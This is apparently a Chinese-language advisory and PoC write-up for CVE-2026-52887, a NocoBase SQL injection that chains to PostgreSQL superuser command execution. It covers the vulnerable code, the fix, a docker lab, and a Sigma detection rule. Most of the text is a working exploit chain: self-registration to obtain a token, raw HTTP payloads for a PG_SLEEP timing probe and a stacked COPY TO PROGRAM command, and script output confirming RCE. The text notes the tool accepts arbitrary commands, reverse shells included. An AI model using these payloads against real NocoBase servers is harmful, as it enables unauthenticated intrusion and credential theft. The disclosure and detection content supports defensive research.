CVE-2026-52887 — NocoBase SQL 注入 -> PostgreSQL 超级用户 RCE (myInAppChannels:list 过滤器, CVSS 10.0). 作者 PoC + 源码分析 + docker 实验环境.
myInAppChannels:list 操作中存在 SQL 注入,影响 NocoBase 的 @nocobase/plugin-notification-in-app-message(≤ 2.0.60)。filter[latestMsgReceiveTimestamp][$lt] 请求参数被直接插入到原始 Sequelize.literal() SQL 字符串中,未进行任何转义或参数绑定。借助 PostgreSQL pg 驱动对堆叠语句的支持,该注入可到达 COPY … TO PROGRAM;并且由于厂商默认的 compose 将 nocobase 数据库角色创建为 超级用户,这将导致以 postgres 操作系统用户身份执行 shell 命令。该端点要求登录用户,但默认的 auth-basic 插件自带自助注册功能,因此任何匿名访客都可以注册并访问该端点。
| CVE | CVE-2026-52887 |
| 产品 | NocoBase (@nocobase/plugin-notification-in-app-message) |
| 受影响版本 | ≤ 2.0.60(已在 nocobase/nocobase:2.0.57 上验证) |
| 已修复版本 | 2.0.61 |
| 类型 | SQL 注入(CWE-89)→ 操作系统命令执行 |
| CVSS 3.1 | 10.0 严重 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(GitHub CNA) |
| 认证 | 实际上无需认证 — 默认 auth-basic allowSignUp: true |
| 状态 | 已确认存在漏洞 — 已在 2.0.57 上端到端验证 |
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts,
myInAppChannels:list 处理器(2.0.57):
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
filter.latestMsgReceiveTimestamp.$lt 直接来自请求查询参数(filter[latestMsgReceiveTimestamp][$lt]=…),并被拼接进 Sequelize.literal() — 原始 SQL,无参数绑定,无类型强制转换。攻击者可以闭合比较条件并追加任意 SQL。
pg 驱动运行在 PostgreSQL 上,该驱动允许堆叠语句(… ; …)。注入的片段会追加第二条语句。docker-compose.yml 通过 postgres 镜像的 POSTGRES_USER 创建 nocobase 角色,而该角色始终是超级用户。COPY (…) TO PROGRAM '<shell>',以数据库容器内的 postgres 操作系统用户身份运行 <shell>。myInAppChannels 的 ACL 为 loggedIn,但默认的 auth-basic 插件自带 allowSignUp: true。匿名攻击者可以自助注册(POST /api/auth:signUp?authenticator=basic),登录获取 bearer token,然后继续操作 — 因此在默认安装中,实际上无需认证即可利用。
defineMyInAppChannels.ts 新增了 parseLatestMsgReceiveTimestampLt(),它会强制将值通过 Number() 处理(对非有限 / 非数字输入返回 400 拒绝),并改用带绑定的比较:
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
原始 HTTP 链路:
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>
# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>
--cmd 接受任意 shell 命令(反弹 shell、OAST 回调、通过 COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' 读取数据库行等)。
此主机上没有 docker 桥接网络,因此请使用宿主机网络运行两个容器:
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
已修复版本边界(被拒绝):
docker run ... nocobase/nocobase:2.0.61 # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200
参见 EVIDENCE.txt 获取捕获的交互记录,以及 ANALYSIS.md 获取源码级分析。
在 nocobase/nocobase:2.0.57 上已确认存在漏洞,已通过两种独立技术验证:
PG_SLEEP(5) 载荷使响应延迟约 5.0 秒,而同一端点上不含 sleep 的相同请求约 0.03 秒即返回(排除了速率限制 / 重试产物)。uid=999(postgres) gid=999(postgres),这是以 postgres 操作系统用户身份运行 id(1) 的真实输出,而非对载荷的回显。在 nocobase/nocobase:2.0.61 上已修复 — 两种载荷均返回 HTTP 400,而数字型 $lt 仍返回 200。
以数据库容器内的 postgres 操作系统用户身份实现远程代码执行:可完整读写 NocoBase 数据库、泄露所有存储的密钥和用户凭据,并为横向移动提供立足点。在默认安装中,任何匿名访客均可触达。
COPY … TO PROGRAM 原语)。allowSignUp: false)。检测 myInAppChannels:list 请求中 filter[latestMsgReceiveTimestamp][$lt] 的值不是纯数字的情况,以及包含 COPY … TO PROGRAM 的 PostgreSQL 日志:
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
Sigma(Web 服务器访问日志):
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
MIT. © Caio Fabrício (BiiTts).